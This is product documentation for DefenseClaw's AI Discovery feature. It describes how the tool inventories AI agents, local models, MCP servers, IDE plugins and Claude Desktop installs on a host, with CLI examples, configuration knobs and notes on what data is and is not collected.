AI Discovery
Find AI agents, installed local models, running model servers, MCP servers, skills, and providers on the host, and see which of them actually ran. DefenseClaw runs a continuous fingerprinting scanner and three runtime detection planes in the gateway, plus defenseclaw agent discover for an instant connector inventory.
AI Discovery answers two questions. What AI is installed on this machine? And what actually ran, and where did it send data? The first answer comes from an inventory scan. The second comes from three runtime planes inside the gateway.
Guided example · Synthetic workstation evidence
Turn workstation evidence into a sanitized AI inventory record
Multiple weak signals are classified, deduplicated, and emitted as one confidence-scored asset.
{ "kind": "ai_discovery", "asset_id": "workstation:cursor:demo", "connector": "cursor", "state": "new", "confidence": "high", "sanitized": true}{ "kind": "ai_discovery", "asset_id": "workstation:cursor:demo", "connector": "cursor", "state": "new", "confidence": "high", "sanitized": true}
Independent signals support high confidence
Emit sanitized ai_discovery event
What DefenseClaw did — and did not do
What it did
- Collect multiple evidence signals
- Separate identity confidence from presence confidence
- Emit a sanitized inventory record
What it did not do
- Collect environment variable values
- Prove every detected component is active
- Claim that a discovered asset is safe
What you just saw

Installed or ran
| Question | Answered by | Needs the gateway |
|---|---|---|
| Which agents are installed? | defenseclaw agent discover | No |
| What AI is on the machine (agents, CLIs, local models, MCP servers, skills, packages, desktop apps)? | The continuous scan, read with defenseclaw agent usage | Yes |
| Which agent assets exist, with provenance? | defenseclaw aibom scan | No |
| Which IDE plugins does each user have? | defenseclaw agent ide-plugins | Yes |
| What ran, and who did it talk to? | The runtime planes | Yes |
The inventory proves presence, not activity. A detected component may be dormant. A process that ran but is not in the inventory is the case only the runtime planes see.
The three runtime planes
| Plane | Watches | Needs |
|---|---|---|
| A, inference heartbeat | Sustained CPU in a scriptable runtime, or memory large enough to hold model weights | Nothing for your own processes |
| B, shadow egress | Which process sends data to which AI provider, with the DNS answer that names the peer | Elevated rights for other users' processes |
| C, agent actions | Process, file and identity events that descend from an AI agent | Root and Full Disk Access on macOS, capabilities on Linux, audit policy on Windows |
A new configuration turns on A and B. Plane C is opt-in. Every plane reports what it cannot see instead of showing a clean host. Per-OS grants and detail: Runtime planes.
Run it now: 30-second tour
Take a 30-second inventory of the AI on a machine.
Before you start
agent discover and aibom scan need no gateway. agent usage, agent ide-plugins and the TUI panel read the gateway's continuous scan, so start the gateway and turn it on first.
This tour is for a per-user install. On a managed (standalone enterprise) Linux or macOS computer every command in it refuses, for enrolled users and for root alike (Managed command availability), with This computer is managed and a pointer to defenseclaw sandbox status and defenseclaw sandbox policy explain. There the administrator turns discovery on with ai_discovery.enabled: true in the managed config and reads the inventory as root with sudo /opt/defenseclaw/bin/defenseclaw-gateway enterprise linux discovery and enterprise linux ide-plugins (on a Mac sudo /opt/cisco/defenseclaw/bin/defenseclaw-gateway enterprise macos discovery). On a managed Windows computer run & 'C:\Program Files\Cisco\DefenseClaw\bin\defenseclaw.exe' enterprise windows discovery from an elevated PowerShell prompt. See Per-user scans in standalone enterprise.
Steps
-
List the agents that are installed.
defenseclaw agent discoverAgent discovery (cached) ┃ Connector ┃ Installed ┃ Configured ┃ Active / Mode ┃ Config ┃ Binary ┃ │ codex │ yes │ no │ no │ - │ /usr/local/bin/codex │ │ claudecode │ yes │ no │ no │ - │ /usr/local/bin/claude │ │ openclaw │ no │ no │ no │ - │ - │ …Add
--jsonfor machine output. It carries full local paths, so treat it as host inventory.--no-emit-otelkeeps the run strictly local. -
Turn on continuous discovery and scan now.
defenseclaw agent discovery enable --restart --scan defenseclaw agent discovery statusA fresh install has discovery off.
enablealso turns on runtime planes A and B. It lists the changes, says it will restart the gateway, and asksProceed? [Y/n]; press Enter to continue. In a script or scheduled task, usedefenseclaw agent discovery enable --restart --scan --yesto skip the prompt. -
Read the inventory.
defenseclaw agent usage defenseclaw agent usage --category local_model --detail defenseclaw agent ide-plugins --user alice --ai-onlyThe
ide-pluginstable looks like this (sample data; your plugins differ):┏━━━━━━━┳━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━┳━━━━━┓ ┃ User ┃ IDE ┃ Plugin ┃ Version ┃ Enabled ┃ AI ┃ ┡━━━━━━━╇━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━╇━━━━━┩ │ alice │ cursor │ anthropic.claude-code (Claude Code for VS Code) │ 2.1.0 │ yes │ yes │ │ alice │ vscode │ github.copilot (GitHub Copilot) │ 1.250.0 │ yes │ yes │ └───────┴────────┴─────────────────────────────────────────────────┴─────────┴─────────┴─────┘ 2 plugin(s) shown; 7 in total, 4 AI, 0 disabled, 1 user(s) -
Open the TUI panel. Run
defenseclaw tuiand pressV. Local models get their own table above agents and tools. Pressato show all models,tto switch tables. -
Export an AI bill of materials.
defenseclaw aibom scan --json > aibom.json defenseclaw aibom scan --summary--only skills,mcplimits categories.--connector <name>limits to one connector. Each item carries aprovenanceblock (schema version, content hash, configuration generation, DefenseClaw version). The BOM is not signed and has no CycloneDX format.
Check it worked
agent discovery status shows Configured: enabled and a last-scan time. aibom scan prints a count per category. A - means that category is not collected for the connector.
Turn it off
defenseclaw agent discovery disabledisable asks Proceed? [Y/n] before saving the change and restarting the gateway. In a script or scheduled task, use defenseclaw agent discovery disable --yes to skip the prompt. A stopped gateway is not started; discovery stays off when it next starts.
Where discovery data goes
List view for small screens. Use the expand button to open the drawing.
- in the gatewayWhat actually ranruntime planes
- reportsGateway
- in the gatewayAI on the hostcontinuous scan
- reportsGateway
- CLI, on demandInstalled agentsagent discover
- emitsGateway
- CLI, on demandAgent assetsaibom scan
- storesAudit log
- Gatewaychecks and records
- exportsYour telemetry
- recordsAudit log
- Audit loglocal SQLite
- Your telemetryOTLP, Splunk
- The gateway keeps every scan in the local audit database. This is always on.
- It exports
ai_discovery,ai_component.*andai.runtime.*records to your observability destinations: Grafana, Splunk or any OTLP destination. - It never sends discovery results to Galileo.
- On managed enterprise devices it also reaches the AI Defense destination, if configured.
At a glance
What AI Discovery finds, where it looks, and what it sends.
| Section | What it covers | Commands and keys |
|---|---|---|
| What gets discovered | The 16 signal categories, the local model inventory and its modes | agent usage, agent usage --category local_model |
| Continuous discovery | The gateway scan, per-user scans, sandboxes, tunable knobs, signature packs | agent discovery (enable, status, scan), agent signatures, ai_discovery.scan_interval_min |
| IDE plugin inventory | Which IDEs, whose plugins, what is and is not collected, privacy | agent ide-plugins |
| Operator CLI | The agent commands that read the inventory | agent discover, usage, processes, components, confidence |
| AIBOM | The bill of materials output | aibom scan |
| Where the data lands | SQLite, destinations, Splunk, Grafana | Observability destinations |
| Privacy and trust model | What is never collected, and how far to trust each signal | |
| Runtime planes | The three planes that watch what AI runtimes ran, per OS, and the privileges each needs | agent discovery runtime (enable, selftest, findings) |
What gets discovered
The continuous scanner in the gateway classifies every signal into one of the wire categories below. agent discover is a separate, connector-focused local inventory; the gateway-backed agent usage command renders these continuous-discovery signals.
| Category | What it surfaces |
|---|---|
supported_connector | OpenClaw, ZeptoClaw, Claude Code, Codex, Cursor, Devin, GitHub Copilot CLI, Antigravity, Hermes, OpenCode, Amp, Kiro |
ai_cli | Standalone AI CLIs and helpers (gh copilot, aider, chatblade, …) |
active_process | Running processes whose name matches a catalog entry — agent CLIs, local model servers such as Ollama or vLLM, and AI desktop apps |
editor_extension | AI extensions and plugins in VS Code and its forks, JetBrains IDEs, Visual Studio, Zed and Vim/Neovim. The full list of every plugin, AI or not, is the IDE plugin inventory |
mcp_server | MCP servers configured for any connector (mcpServers blocks) |
skill | Claude / Cursor / OpenClaw skill bundles installed on disk, in the home folder and in the project (~/.claude/skills, .claude/skills) |
rule | Rule packs and ruleset files referenced by config |
plugin | Connector plugins (TypeScript, Python, native) |
package_dependency | requirements.txt / package.json / pyproject.toml AI deps |
env_var_name | AI provider env var names (never values) |
shell_history_match | Shell-history references to AI binaries (last-touched timestamps) |
provider_domain | DNS resolutions to known provider endpoints |
workspace_artifact | .openclaw/, .claude/, .cursor/ directories in active workspaces |
desktop_app | Claude Desktop, Cursor, and Devin macOS / Windows app installs. Claude Desktop also gets a Cowork block |
local_ai_endpoint | Vetted Ollama, Lemonade, LM Studio, LocalAI, and vLLM loopback metadata endpoints |
local_model | Models installed on disk or reported as loaded by a vetted loopback model server |
The local snapshot uses state ∈ {new, seen, changed, gone} with last_seen /
first_seen timestamps. seen is the steady state for an unchanged signal. In
unmanaged deployments, outbound ai_discovery events remain delta-focused and
emit only new, changed, or gone transitions. In managed_enterprise, each
full scan publishes a complete endpoint snapshot, including unchanged seen
records. Full scans default to a five-minute cadence. The process-only tick
refreshes local process state between full scans, but it does not republish the
ai_discovery snapshot or the companion managed connector/MCP inventory to AI
Defense.
Claude Desktop and Cowork
Cowork is the agent mode of Claude Desktop. For each user who has run Claude Desktop, a full scan adds one desktop_app signal with detector claude_desktop and a claude_desktop block. A machine with the app but no data folder (never started) only shows the plain application signal.
"claude_desktop": {
"installed": true,
"installed_source": "app_bundle",
"version": "4.4212.0",
"cowork_enabled": true,
"cowork_enabled_source": "cowork_sessions",
"engine_version": "2.1.309",
"vm_bundle_present": true,
"vm_bundle_bytes": 12161047888,
"cowork_plugins": ["finance", "sales-tools"],
"deployment": "1p"
}| Field | Meaning |
|---|---|
installed, installed_source | The app was found: app_bundle (macOS Claude.app), install_folder or msix_package (Windows). On Linux nothing is probed, so the data folder counts (data_folder). A data folder without the app is installed: false. |
version | The app version: Info.plist on macOS, the app-<version> install folder on Windows. Empty for an MSIX install and on Linux, which have no version tied to the account. |
cowork_enabled, cowork_enabled_source | true when this machine shows Cowork set up: a session on disk (cowork_sessions) or the VM bundle (vm_bundle). false only when Claude Desktop recorded that the machine cannot run the VM (vm_support_probe). null is unknown and is never guessed. This is local evidence; it does not read your organization's setting for Cowork. |
engine_version | The newest Claude Code build that Claude Desktop bundles (the engine behind Cowork). |
vm_bundle_present, vm_bundle_bytes | The Cowork VM bundle and the combined size of its files. The bundle is several gigabytes; the size comes from the file sizes, never from reading the images. |
cowork_plugins | Names of the plugins enabled in Cowork, sorted, at most 64. Names only. |
deployment | Which Claude Desktop deployment the data folder belongs to: 1p (signed in to Claude) or 3p (third-party inference: Amazon Bedrock, Google Vertex AI, Microsoft Foundry). The value comes from the folder (the table below), not from the deploymentMode in its claude_desktop_config.json; on the measured machines the two always agreed. Each deployment has its own data folder, so a user who runs both gets two signals. |
The data folders the scan reads:
| OS | 1p | 3p |
|---|---|---|
| macOS | ~/Library/Application Support/Claude | ~/Library/Application Support/Claude-3p |
| Windows | %APPDATA%\Claude; the MSIX app's %LOCALAPPDATA%\Claude-Data\claude_<id> (older MSIX builds: %LOCALAPPDATA%\Packages\Claude_*\LocalCache\Roaming\Claude) | %LOCALAPPDATA%\Claude-3p |
| Linux | ~/.config/Claude | ~/.config/Claude-3p |
Where the scan looks, relative to each data folder:
claude-code/<version>for the engine,vm_bundles/claudevm.bundlefor the VM bundle,local-agent-mode-sessions/<account>/<org>for sessions (local_*.json) and the plugin manifest (rpm/manifest.json),vm-support-probe.jsonfor the VM check.
The scan lists and reads these paths with fixed limits and never starts Claude Desktop, its engine or the VM. It refuses a symbolic link, junction or other reparse point on the data folder, on any folder between the home and the data folder (Library/Application Support as a link, say), or on any folder below it, so one user's data cannot carry another account's facts; a refused link below the data folder makes the signal partial (read_error). Connectors (an account's remote MCP servers) have no local file and are not listed.
On Windows the MSIX folders (claude_<id>, Claude_*) are matched by name, at most four per folder. The folder whose id matches an installed MSIX package (%LOCALAPPDATA%\Packages\Claude_<id>) is read first. When more folders match than are read, every signal of that account is partial (cap_exceeded). A data folder that holds only Claude Desktop's migration marker (.user-data-left.claude_<id>, left behind in the older MSIX folder once the data moved to Claude-Data) is not reported. The catalog reads claude_desktop_config.json (configs and MCP servers) in the same folders, MSIX folders included.
The macOS folders and the Windows MSIX folders were measured on Claude Desktop 4.16336.0, for both deployments. These are still unmeasured and follow the macOS layout until a Cowork host confirms them:
- the VM bundle name and place (
vm_bundles\claudevm.bundle); the scan falls back to the first*.bundlefolder invm_bundles, - the session and plugin files under
local-agent-mode-sessions, andvm-support-probe.json, - the Squirrel install folder
%LOCALAPPDATA%\AnthropicClaude\app-<version>and the MSIX package folder, - the Linux
3pfolder~/.config/Claude-3p, - Linux install evidence: only the data folders are checked, so
installedthere means the app has run.
The Secure Client profile and sandbox scans do not run this detector. When a fact changes (Cowork turns on, a new engine), the signal is changed; a change in the VM size alone is not.
Local model inventory
Full continuous scans inventory local models through two metadata-only paths. The filesystem path does not require an inference engine to be installed or running: a standalone high-signal GGUF/GGML, safetensors/MLX, Core ML, or Q4NX artifact can produce a local_model row on its own. Context-sensitive formats such as ONNX/ORT, TFLite, PyTorch/checkpoint, and generic binary containers must also pass the admission rules below.
Passive and enhanced modes
The discovery mode controls which model directories DefenseClaw adds automatically. It does not change the redaction policy or enable inference.
| Mode | Automatic filesystem coverage |
|---|---|
passive | Known model stores, plus narrower roots the operator explicitly lists in scan_roots. An exact user-home/~ root is not traversed for model files, and unknown macOS application storage is not added automatically. |
enhanced | Everything in passive, plus the configured broad home traversal and bounded high-yield macOS application-storage and app-resource roots for models downloaded by applications that are not yet in the signature catalog. |
Use enhanced mode for shadow-model discovery:
ai_discovery:
mode: enhancedOn macOS, enhanced mode keeps the broad ~ walk from descending into all of ~/Library. Instead, it adds ~/Library/Application Support, ~/Library/Containers, ~/Library/Group Containers, and ~/Library/Caches as direct, separately budgeted roots. Installed application Resources directories are covered with their own bounds. This reaches model stores used by ordinary, sandboxed, shared-container, and self-contained applications without letting one large Library subtree consume the whole scan.
Narrow configured roots are honored in both modes. Select passive when an organization wants known stores and explicitly approved paths only; select enhanced when finding models owned by previously unknown applications is the priority. Enhanced mode changes where DefenseClaw looks, not what it trusts: it does not equate every ML-looking file in those broader roots with a user model.
This is not an unrestricted content crawl. The scanner:
- considers recognized model artifacts and model-directory metadata, not arbitrary documents, messages, images, or audio;
- preserves recognized model stores as specialized evidence and accepts high-signal GGUF/GGML, safetensors, Core ML, and Q4NX artifacts on format evidence;
- outside those stores, admits ambiguous ONNX/ORT, TFLite, PyTorch/checkpoint, and generic binary formats only when they have explicit model context (for example, a model/weights/checkpoint/format directory, a semantic model name in a non-cache application support/container/resource scope, or a nearby bounded metadata sidecar) and a meaningful, non-opaque identity from the artifact or model directory;
- rejects generic identities such as
model,weights, andruntime, opaque hex/UUID-like cache keys, and version-only identities. Known Chrome Optimization Guide/OptGuide payload paths are rejected for these ambiguous formats; this targeted suppression does not exclude high-signal formats or recognized model stores; - skips common source, dependency, build, browser-noise, and runtime-noise trees, plus DefenseClaw's own data directory (
~/.defenseclawand the configureddata_dir, which hold its bundled dependencies and models), while allowing application-scoped caches to participate; - applies global and per-root traversal limits, rotates roots, and resumes incomplete roots on later scans; and
- reads only bounded metadata such as a GGUF header prefix or a small adjacent manifest/configuration file, never tensor payloads.
Ownership, modality, and relevance
Enhanced discovery does not require DefenseClaw to know the application in advance. When path structure provides reliable context, each local_model can carry these bounded fields:
| Field | Meaning |
|---|---|
owner_application | Display label inferred from the top-level app, container, or bundle name. It stays empty when ownership cannot be established; the macOS app renders the owner as unknown rather than guessing. |
modality | generative, speech, vision, embedding, audio, or unknown. |
relevance | primary for a primary model/weights/checkpoint artifact, supporting for components such as speech, vision, embedding, or VAD models, embedded for models shipped inside an application or browser/conferencing-style cache, or unknown. |
discovery_confidence | A 0..1 score for the filesystem/context evidence behind this model classification. It is separate from product identity confidence. |
Once admitted, supporting models and embedded artifacts remain part of the complete local snapshot rather than being deleted as display noise. The recommended TUI and macOS presentation hides low-confidence, embedded, and unknown-relevance rows by default. It retains high-confidence primary models plus owner-attributed supporting speech, audio, vision, and embedding models, so components used by apps such as transcription tools remain actionable. A model_api row without model-specific discovery_confidence also remains visible because a directly enumerated runtime model should not disappear merely because an older gateway cannot classify it. Show All Models removes the recommended exclusions for forensic inventory; explicit macOS modality/relevance choices can still narrow the display. It does not override scanner admission or resurrect rejected cache payloads. Presentation filters never remove rows from the API or JSON export.
Vetted loopback APIs. Presence checks prefer HEAD; model inventory uses bounded, read-only GET requests only for explicitly allow-listed metadata routes.
| Runtime | Installed / reported models | Loaded models |
|---|---|---|
| Lemonade Server | /v1/models, /api/v1/models | /v1/health, /api/v1/health |
| Ollama | /api/tags | /api/ps |
| LM Studio | /v1/models | Not distinguished by the built-in route |
| LocalAI | /v1/models | Not distinguished by the built-in route |
| vLLM | /v1/models | Not distinguished by the built-in route |
| llama.cpp | No built-in model-metadata endpoint | Process and filesystem discovery only |
The generic /v1/models integrations are recorded with status=installed; status=loaded is reserved for a runtime health/status route that explicitly reports an in-memory model. The detector never calls completion, embedding, audio, pull, load, delete, or other inference/control endpoints.
For Lemonade Server, the built-in signature recognizes the lemonade, lemond, lemonade-tray, and LemonadeServer.exe binaries/processes, the desktop app, documented configuration locations, environment-variable names, and the default loopback port 13305. Its model list includes only downloaded local entries; downloaded=false and cloud-recipe entries are ignored. Configured models_dir and extra_models_dir values are also added as filesystem model roots.
Bounded filesystem metadata. The scanner recognizes GGUF/GGML, safetensors, ONNX/ORT, Core ML, TFLite, Q4NX, MLX, Hugging Face cache layouts, and Ollama manifests/blob stores. It groups sharded weights and model-cache directories into model rows instead of reporting every shard or blob. Outside recognized model stores, ONNX/ORT, TFLite, and generic PyTorch/checkpoint extensions such as .pt, .pth, .ckpt, and .bin require both explicit model context and a meaningful, non-opaque identity. The scan emits at most max_files_per_scan matching artifacts and also enforces separate global and per-root traversal budgets. It never reads tensor payloads: provenance extraction is limited to a regular-file-checked GGUF header prefix and small adjacent JSON configuration/Ollama manifests, each with explicit byte, count, string, and array bounds.
Known model stores are automatic and additive. The scanner checks environment-selected roots (HF_HUB_CACHE, HF_HOME, OLLAMA_MODELS, LM_STUDIO_HOME, and FLM_MODEL_PATH), conventional Hugging Face, Ollama, LM Studio, llama.cpp, and MLX caches, Lemonade-configured model directories, and then eligible operator scan_roots. On native Windows it additionally prioritizes the documented GPT4All LocalAppData store, the Jan RoamingAppData model store, and the catalogued AnythingLLM model directory, so a bounded home scan does not need several cursor cycles to reach them. Setting --scan-roots does not disable specialized stores. Passive mode honors narrower configured roots but suppresses a root equal to a user home; enhanced mode also honors that broad home root.
Windows discovery uses token-bound Known Folders rather than trusting process overrides for Profile, AppData, ProgramData, or Program Files. It inventories unique exact executable aliases across the full signature catalog and fails closed when a basename is shared by multiple products. Installed applications come from Start Menu/Programs roots, uninstall display names, and the current user's supported virtual AppsFolder, including launchable Store/MSIX/UWP registrations; discovery also covers both Windows PowerShell and PowerShell 7 history plus AppData-backed VS Code-family and JetBrains extension stores. Application display names and bounded, path-free package identity names are reduced to hashed evidence before they leave the detector, as the macOS and Linux application inventory is.
Each local_model signal keeps its potentially high-cardinality identity under a dedicated model block. For example, an installed Lemonade model can appear as:
{
"category": "local_model",
"detector": "model_api",
"model": {
"id": "Qwen3-0.6B-GGUF",
"status": "installed",
"format": "gguf",
"provider": "lemonade",
"recipe": "llamacpp",
"size_bytes": 380000000,
"provenance": {
"publisher": "Alibaba Cloud",
"country_code": "CN",
"root_model": "Qwen/Qwen3-0.6B",
"quantized": true,
"quantization": "Q4_K_M",
"derivation": "quantized",
"source": "gguf_metadata",
"confidence": "medium"
}
}
}Loaded-model rows can additionally carry modality, device, and pinned, plus a separate runtime block when the server reports a PID. The model ID is not copied into product or component, which keeps product and telemetry labels bounded.
The country is the ISO 3166-1 alpha-2 country associated with the organization that released the resolved root/base weights—not the quantizer, Hub uploader, local runtime, or download location. The TUI and macOS app derive the flag locally (CN 🇨🇳); emoji is never stored on the wire. base_models, quantized, distilled, and derivation preserve the detected lineage, while source and confidence distinguish embedded/runtime evidence from catalog or Hub enrichment. Missing evidence stays absent/unknown rather than becoming a guess.
The ai_component.* logs carry this bounded provenance subset for local_model signals, but never the installed artifact's model ID and never as metric labels. Publisher, country, derivation flags, source, and confidence are metadata fields. Root/base model names are included only for a reviewed exact lineage or a successful public Hub lookup. Those names and config-derived quantization text are log-only content fields so each OTLP destination's selected redaction profile can transform or remove them.
Optional Hugging Face enrichment. Set ai_discovery.lookup_model_provenance_online=true (or pass --lookup-model-provenance-online to agent discovery enable) to look up public model-card ancestry. This is off by default because a lookup transmits a model repository ID. The resolver calls only the fixed public Hugging Face model-info endpoint, refuses redirects, bounds responses and recursion, caches positive and negative results, and starts only from an exact ID recovered from a Hugging Face cache path, an explicit huggingface.co URL in embedded metadata, or a reviewed exact lineage rule. It does not send local paths or slash-shaped relative aliases, fuzzy-search arbitrary filenames, or use a private Hub token. Transient failures retain a previously resolved result for at most seven days; a definitive not-found response clears it. A fully renamed GGUF can still resolve when its embedded general.source.* or general.base_model.* repository URL survives conversion; if identifiers and metadata were stripped, discovery reports the provenance as unknown.
New config.yaml files persist the opt-in explicitly as disabled:
ai_discovery:
lookup_model_provenance_online: falseEnable it with defenseclaw config set ai_discovery.lookup_model_provenance_online true (the gateway applies an ai_discovery change without a restart), interactively with defenseclaw agent discovery setup, or non-interactively with defenseclaw agent discovery enable --lookup-model-provenance-online.
Model lifecycle and bounded scans
Limits do not turn a partial observation into a false deletion. API inventories larger than 256 rows advance through per-source cursor pages; previous rows remain seen until that source reaches the end of a complete cycle. Only the completed cycle can mark an omitted model gone. Likewise, filesystem pages preserve the last complete model aggregate until a root reaches the end, so shards do not alternate between partial sizes or create false changed / gone transitions. A single failed API pass is carried as seen to tolerate a normal local-server restart, while a valid empty inventory is conclusive.
Continuous discovery (gateway)
The continuous scanner runs inside the gateway. Unmanaged deployments emit
ai_discovery events when a signal transitions state; managed-enterprise full
scans emit the complete snapshot described above. A fresh defenseclaw init
leaves AI discovery disabled. Run defenseclaw agent discovery enable after
initialization to collect the IDE inventory. This also enables runtime
monitoring planes A and B. Use these commands to make the intended state explicit:
defenseclaw agent discovery enable --restart --scanSets ai_discovery.enabled and the other ai_discovery.* settings you pass in ~/.defenseclaw/config.yaml, restarts the gateway (the default; --no-restart skips it), and runs an immediate full scan so the dashboards are populated in seconds. Use --yes for non-interactive provisioning. The gateway also applies any ai_discovery change made with defenseclaw config set by itself, so a single setting needs no restart.
defenseclaw agent discovery statusPrints what's enabled, the active scan roots, the loaded signature pack, the last scan timestamp, and the total signal count.
defenseclaw agent discovery scanTriggers POST /api/v1/ai-usage/scan. The scanner runs an immediate full scan
and refreshes the local snapshot. Unmanaged deployments emit any new,
changed, or gone transitions without replaying unchanged seen rows.
Managed enterprise emits the complete snapshot, including seen, and refreshes
the companion managed endpoint inventory. No restart needed.
defenseclaw agent discovery disableIt asks Proceed? [Y/n]; --yes skips the question. defenseclaw agent discovery disable turns off AI discovery and the runtime planes that enable turned on. The selected planes are kept for the next enable.
Sets ai_discovery.enabled to false and stops the scanner. Your other ai_discovery.* settings stay in the file, so enable brings the same configuration back. Existing audit events are preserved.
Per-user scans in standalone enterprise
In the standalone enterprise profile the gateway runs as a service account
that cannot read user homes or see other accounts' processes. The hook
guardian therefore runs the static scan for each user in the target
manifest, as that user, every scan_interval_min, while ai_discovery is
enabled:
- The scan reads only that user's home and sees only that user's processes.
Home-relative
scan_rootsapply; other roots, loopback probes and environment names stay with the gateway's own scan, which still covers machine-wide binaries and applications. - The guardian checks each result and writes it to the
ai-discoverydirectory of the authorization ledger (root, readable by the gateway's group). The gateway adds it to its inventory on every full scan. - Each signal carries
useranduser_idfrom the account the guardian started the scan for, never from the scan's own output. Theai_component.discovered,changedandremovedrecords carry the same user (user.id,defenseclaw.user.name) to your observability destinations, without the entry's name. The inventory retains the per-entry skill, plugin and MCP names locally; discovery does not emit per-entryai_component.observedrecords. Names can still reach configured observability destinations in hook decision and asset-policy audit rows when those assets are used, scanned, admitted or rejected. Read the full inventory with thediscoveryview below. Withai_discovery.include_user_emailon, each account's Claude Code and Codex address goes to your destinations on oneai_component.observedrecord per account and connector each discovery cycle, without entry names (Optional connector email). - The gateway's own process detector does not run; the scan summary reports
detector_notes.process: provided by per-user scans. - A user's results turn
gonewhen the user leaves the manifest, or after the longer of three scan intervals and 15 minutes since the user's last successful scan. mode,include_shell_history,include_package_manifestsandstore_raw_local_pathsapply as usual.- Administrators read the per-user records on the host with
sudo /opt/defenseclaw/bin/defenseclaw-gateway enterprise linux discoveryorsudo /opt/cisco/defenseclaw/bin/defenseclaw-gateway enterprise macos discovery(root, read-only;--user,--json). On Windows,& 'C:\Program Files\Cisco\DefenseClaw\bin\defenseclaw.exe' enterprise windows discovery(elevated PowerShell prompt, read-only) shows the gateway's scan the same way. - Skills and MCP servers found this way are inventoried only: the managed gateway does not run the skill or MCP scanners on them.
These per-user scans run on Linux and macOS. On Windows the gateway service
scans every enrolled user's profile itself: the hook enumerator grants the
service read access to each user's agent folders (.claude, .codex,
.cursor, .kiro, %LOCALAPPDATA%\hermes\skills and the others) and to
the IDE folders the IDE plugin inventory reads
(Whose plugins lists them), and nothing else in the
profile. A folder on an enrolled connector's hook path
stays at the guardian's protected permissions, so the service is not granted
it: .kiro for a user enrolled for Kiro, .config for Amp or OpenCode,
.gemini for Antigravity, .copilot for Copilot and
%APPDATA%\devin for Devin. Devin's user MCP servers are still listed:
the service is granted read on %APPDATA%\devin\mcp_config.json alone, not
on the folder or the hook file config.json beside it. The Kiro IDE plugins in .kiro\extensions are
still listed: the service is granted that folder alone and reads it without
any access to .kiro. Kiro CLI is then found by its install folder
%LOCALAPPDATA%\Kiro-Cli, Copilot CLI by its package cache
%LOCALAPPDATA%\copilot\pkg, Devin CLI by %LOCALAPPDATA%\devin\cli and
Amp by its npm install %APPDATA%\npm\node_modules\@ampcode\cli,
folders the service may list but not read, and Antigravity CLI by
.gemini\antigravity-cli; OpenCode is found by its folders outside
.config, such as ~\.opencode. Cursor's hooks are machine-level on a managed
computer, so a user without ~\.cursor\mcp.json is found by cursor-agent's
install folder %LOCALAPPDATA%\cursor-agent, which the service may also
list but not read. Each signal found in a profile, and each agent
process started from one, carries that profile's account (user.id is the
account SID, defenseclaw.user.id_kind is windows_sid,
defenseclaw.user.name the account name). Folders outside the granted ones,
such as the profile root that scan_roots: ["~"] names, are skipped
without failing the scan. Only enrolled profiles are read: the profile of an
account that enterprise.enrollment.exclude_users names is not, the
processes in its sessions are left out, and the components it reported
before are reported removed once, at the first scan after the change is
applied, without a gateway restart; the enumerator also takes away the read
access an earlier install granted it. ai_discovery.home_dirs adds folders
to the enrolled profiles and never replaces them, and a folder inside an
excluded profile is not read.
Inside OpenShell sandboxes
While sandboxes are on (openshell.enabled), the gateway also inventories
what the agent in each running sandbox installed and
configured there, which its own scan of this machine never sees:
- Once a sandbox is ready, every
scan_interval_minwhile it runs, and on demand withdefenseclaw sandbox discover NAME, the daemon reads the sandbox with one read-only command it builds itself: the agent config, MCP configuration, skill, rule and plugin paths of the signature catalog under the sandbox's home and project, the agent CLIs in its bin folders, its running agents, the names (never the values) of its environment variables, its shell history and, for a copy (--copy, every sandbox on macOS), its package manifests. A mounted project is this machine's folder, which the gateway's own scan reads. - Everything the sandbox sends back is checked as the agent's: only
absolute, printable paths under the sandbox's home, projects or harness
install, within what was asked for and within the bounds (
max_file_bytesa file,max_files_per_scanfiles read, 8,192 entries listed and a 4 MiB stream), are kept. They are written as private regular files (never links or FIFOs) under<data_dir>/sandboxes/NAME/discoveryand scanned on this machine with the same detectors, without the machine-wide ones (applications, IDEs, loopback endpoints, model files). The copies go once scanned: only the scan record (scan.json) stays. - Each signal carries the sandbox's name and id (
sandbox_name,sandbox_id, anddefenseclaw.sandbox.nameand.idon theai_component.*records), and its hashes are its sandbox's own, so the same file in two sandboxes, or in a sandbox and on this machine, are separate entries.defenseclaw agent usage --sandbox NAMEshows one sandbox's; every view tags them "(sandbox NAME)". A name with no sandbox is an error, a sandbox not read yet gets a note thatdefenseclaw sandbox discover NAMEreads it now, and on Windows, which has no sandboxes,--sandboxexits 3 asdefenseclaw sandboxdoes. - A sandbox signal's Last active is the last time the sandbox was read
while it ran, a running process's too, not the date of the file: the
files an image ships carry the image's dates. A sandbox process's
Runtime
up=counts from its start. - A stopped sandbox keeps what was found, without its processes; a deleted
one's entries turn
goneat once (the delete starts a scan, asagent usage --refreshdoes).ai_discovery.enabled: falseturns this off too.
A real sandbox, read with defenseclaw sandbox discover (the MCP servers, the
skills, the agent CLI and the running agent found inside it):

The same components in the AI inventory, tagged with the sandbox:

The TUI's AI Discovery panel (V) lists the same components as their own rows,
tagged (sandbox NAME):

Tunable knobs
agent discovery enable accepts a wide tunable surface so you can scope the scan to your environment:
| Knob | Purpose |
|---|---|
--mode passive|enhanced | Keep model discovery to known stores and narrower configured roots (passive), or also honor a broad home root and scan bounded high-yield macOS application storage and app resources (enhanced). |
--scan-roots | Additional comma-separated filesystem roots to walk. Defaults inherit from ai_discovery.scan_roots (typically ~); known model stores are still added automatically. For model files, passive mode suppresses an exact user-home root but honors narrower roots. |
--include-shell-history / --no-include-shell-history | Read ~/.bash_history, ~/.zsh_history for AI invocations. |
--include-package-manifests / --no-include-package-manifests | Look at package.json, pyproject.toml, requirements.txt. |
--include-env-var-names / --no-include-env-var-names | Enumerate process env names (values are never read). |
--include-network-domains / --no-include-network-domains | Inspect provider-domain signals and probe vetted loopback model metadata APIs. |
--scan-interval-min | Minutes between rescans. Defaults inherit from ai_discovery.scan_interval_min. |
Signature packs are managed separately under defenseclaw agent signatures (see below); there is no --signature-pack flag on discovery enable.
Run defenseclaw agent discovery enable --help for the full list with defaults.
Signature packs
The scanner uses a versioned signature pack to know what an "AI artifact" looks like. Packs are managed independently of the binary so we can ship new connector support without a release:
defenseclaw agent signatures list
defenseclaw agent signatures install ./corp-signatures.json
defenseclaw agent signatures validate ./corp-signatures.json
defenseclaw agent signatures disable codex
